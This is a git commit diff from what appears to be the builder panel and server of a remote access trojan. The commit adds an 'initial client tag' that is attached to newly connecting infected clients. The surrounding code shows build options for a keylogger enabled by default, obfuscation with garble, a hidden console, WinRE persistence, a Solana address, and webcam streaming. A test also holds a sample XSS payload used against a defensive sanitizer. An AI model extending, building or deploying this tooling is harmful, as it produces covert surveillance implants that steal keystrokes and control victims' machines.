add auto build tags

This commit is contained in:
KingKDot
2026-07-08 22:13:29 -05:00
parent b29d5b4291
commit da25ff6a69
9 changed files with 76 additions and 6 deletions
+4
View File
@@ -449,6 +449,7 @@ function collectFormSettings() {
solAddress: document.getElementById("sol-address")?.value ?? "",
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
outputName: document.getElementById("output-name")?.value ?? "",
initialClientTag: document.getElementById("initial-client-tag")?.value ?? "",
iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
mutex: document.getElementById("mutex")?.value ?? "",
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
@@ -515,6 +516,7 @@ function applyFormSettings(settings) {
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag);
if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
@@ -1711,6 +1713,7 @@ form?.addEventListener("submit", async (e) => {
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || "";
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
@@ -1747,6 +1750,7 @@ form?.addEventListener("submit", async (e) => {
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
outputName: outputNameVal || undefined,
initialClientTag: initialClientTagVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
+9
View File
@@ -405,6 +405,15 @@
</p>
</div>
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="initial-client-tag">Initial Client Tag</label>
<input type="text" id="initial-client-tag" name="initial-client-tag" maxlength="64" placeholder="e.g. Finance, Kiosk Rollout"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">
Optional: new clients from this build get this dashboard tag on first connect.
</p>
</div>
<div id="ios-bundle-id-container" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2" for="ios-bundle-id">iOS Bundle ID</label>
<input type="text" id="ios-bundle-id" name="ios-bundle-id" placeholder="com.overlord.agent (default)"
+15
View File
@@ -16,6 +16,7 @@ import {
listUserClientAccessRules,
setUserClientAccessScope,
} from "./users";
import { sanitizeInitialClientTag } from "./server/build-config-sanitize";
const createdUserIds: number[] = [];
const createdBuildIds: string[] = [];
@@ -68,18 +69,29 @@ afterAll(() => {
});
describe("build tag DB operations", () => {
test("initial client tag sanitizer removes XSS metacharacters", () => {
const payload = ` <img src=x onerror="alert(1)"> & 'bad' \`tag\` = ok `;
expect(sanitizeInitialClientTag(payload)).toBe("img srcx onerroralert(1) bad tag ok");
expect(sanitizeInitialClientTag("\u0000 Finance\nTeam \u007f")).toBe("Finance Team");
expect(sanitizeInitialClientTag("x".repeat(80))).toHaveLength(64);
expect(sanitizeInitialClientTag(" ")).toBeUndefined();
expect(sanitizeInitialClientTag({ tag: "nope" })).toBeUndefined();
});
test("saveBuild stores buildTag and builtByUserId", async () => {
try {
const operator = await createTempUser("operator");
const build = saveTempBuild({
buildTag: "test-tag-abc123",
builtByUserId: operator.id,
initialClientTag: "Finance",
});
const retrieved = getBuild(build.id);
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBe("test-tag-abc123");
expect(retrieved!.builtByUserId).toBe(operator.id);
expect(retrieved!.initialClientTag).toBe("Finance");
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
@@ -117,6 +129,7 @@ describe("build tag DB operations", () => {
const build = saveTempBuild({
buildTag: tag,
builtByUserId: operator.id,
initialClientTag: "Kiosk Rollout",
});
const all = getAllBuilds();
@@ -124,6 +137,7 @@ describe("build tag DB operations", () => {
expect(found).not.toBeNull();
expect(found!.buildTag).toBe(tag);
expect(found!.builtByUserId).toBe(operator.id);
expect(found!.initialClientTag).toBe("Kiosk Rollout");
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
@@ -136,6 +150,7 @@ describe("build tag DB operations", () => {
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBeUndefined();
expect(retrieved!.builtByUserId).toBeUndefined();
expect(retrieved!.initialClientTag).toBeUndefined();
cleanupCreatedBuilds();
});
});
+5 -2
View File
@@ -1520,13 +1520,14 @@ export interface BuildRecord {
}>;
buildTag?: string;
builtByUserId?: number;
initialClientTag?: string;
blocked?: boolean;
}
export function saveBuild(build: BuildRecord) {
db.run(
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id, initial_client_tag)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
build.id,
build.status,
build.startTime,
@@ -1534,6 +1535,7 @@ export function saveBuild(build: BuildRecord) {
JSON.stringify(build.files),
build.buildTag || null,
build.builtByUserId || null,
build.initialClientTag || null,
);
}
@@ -1546,6 +1548,7 @@ function mapBuildRow(row: any): BuildRecord {
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
initialClientTag: row.initial_client_tag || undefined,
blocked: row.blocked === 1,
};
}
+3 -1
View File
@@ -338,12 +338,14 @@ db.run(`
expires_at INTEGER NOT NULL,
files TEXT NOT NULL,
build_tag TEXT,
built_by_user_id INTEGER
built_by_user_id INTEGER,
initial_client_tag TEXT
);
`);
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN initial_client_tag TEXT`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN blocked INTEGER NOT NULL DEFAULT 0`); } catch {}
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
@@ -0,0 +1,15 @@
const HTML_META_CHARS = /[<>"'`=&]/g;
const CONTROL_CHARS = /[\u0000-\u001f\u007f]/g;
export function sanitizeInitialClientTag(value: unknown): string | undefined {
if (typeof value !== "string") return undefined;
const cleaned = value
.replace(CONTROL_CHARS, " ")
.replace(HTML_META_CHARS, "")
.replace(/\s+/g, " ")
.trim()
.slice(0, 64);
return cleaned || undefined;
}
@@ -94,6 +94,7 @@ type BuildProcessConfig = {
enableWebrtc?: boolean;
enableWinRE?: boolean;
builtByUserId?: number;
initialClientTag?: string;
outputName?: string;
garbleLiterals?: boolean;
garbleTiny?: boolean;
@@ -2084,6 +2085,7 @@ func runBoundFiles() {
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
initialClientTag: config.initialClientTag,
});
setTimeout(() => {
@@ -28,6 +28,7 @@ import fs from "fs";
import { resolveRuntimeRoot } from "../runtime-paths";
import { createUploadPull } from "../file-transfer-state";
import { handleBuildProfileRoutes } from "./build-profile-routes";
import { sanitizeInitialClientTag } from "../build-config-sanitize";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -205,6 +206,7 @@ export async function handleBuildRoutes(
outputSgnTxt,
fetchPublicIP,
uploadToFileShare,
initialClientTag,
buildPlugins,
} = body;
@@ -460,6 +462,8 @@ export async function handleBuildRoutes(
);
}
const safeInitialClientTag = sanitizeInitialClientTag(initialClientTag);
const rateLimitActive = getConfig().registration.mode !== "off";
if (rateLimitActive) recordBuildStart(user.userId);
@@ -481,6 +485,7 @@ export async function handleBuildRoutes(
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
initialClientTag: safeInitialClientTag,
outputName: safeOutputName,
garbleLiterals: !!garbleLiterals,
garbleTiny: !!garbleTiny,
@@ -9,7 +9,7 @@ async function getGeoip() {
}
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuild, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
import { getConfig } from "../../config";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
@@ -467,6 +467,7 @@ export async function handleWebSocketMessage(
let resolvedBuildId: string | null = null;
let builtByUserId: number | undefined;
let initialClientTag: string | undefined;
let isRevoked = false;
if (buildTag) {
@@ -474,12 +475,20 @@ export async function handleWebSocketMessage(
if (verified) {
resolvedBuildId = verified.bid;
builtByUserId = verified.uid ?? undefined;
isRevoked = isBuildBanned(verified.bid);
const build = getBuild(verified.bid);
if (build) {
builtByUserId = build.builtByUserId ?? builtByUserId;
initialClientTag = build.initialClientTag;
isRevoked = !!build.blocked || isBuildBanned(verified.bid);
} else {
isRevoked = isBuildBanned(verified.bid);
}
} else {
const build = getBuildByTag(buildTag);
if (build) {
resolvedBuildId = build.id;
builtByUserId = build.builtByUserId;
initialClientTag = build.initialClientTag;
isRevoked = !!build.blocked || isBuildBanned(build.id);
}
}
@@ -541,6 +550,7 @@ export async function handleWebSocketMessage(
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag;
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
@@ -576,6 +586,7 @@ export async function handleWebSocketMessage(
enrollmentStatus: "pending",
buildTag: buildTag || undefined,
builtByUserId,
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
});
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
@@ -633,7 +644,9 @@ export async function handleWebSocketMessage(
deps.webcamStreamingState.delete(resolvedId);
}
ws.data.wasKnown = clientExists(resolvedId);
const wasKnown = clientExists(resolvedId);
ws.data.wasKnown = wasKnown;
const initialTagForNewClient = wasKnown ? undefined : initialClientTag;
const infoObj: ClientInfo = {
id: resolvedId,
@@ -646,6 +659,7 @@ export async function handleWebSocketMessage(
publicKey,
keyFingerprint,
enrollmentStatus: "approved" as any,
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
};
clientManager.addClient(resolvedId, infoObj);
@@ -656,6 +670,7 @@ export async function handleWebSocketMessage(
enrollmentStatus: "approved",
buildTag: buildTag || undefined,
builtByUserId,
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
online: 1 as any,
lastSeen: Date.now(),
});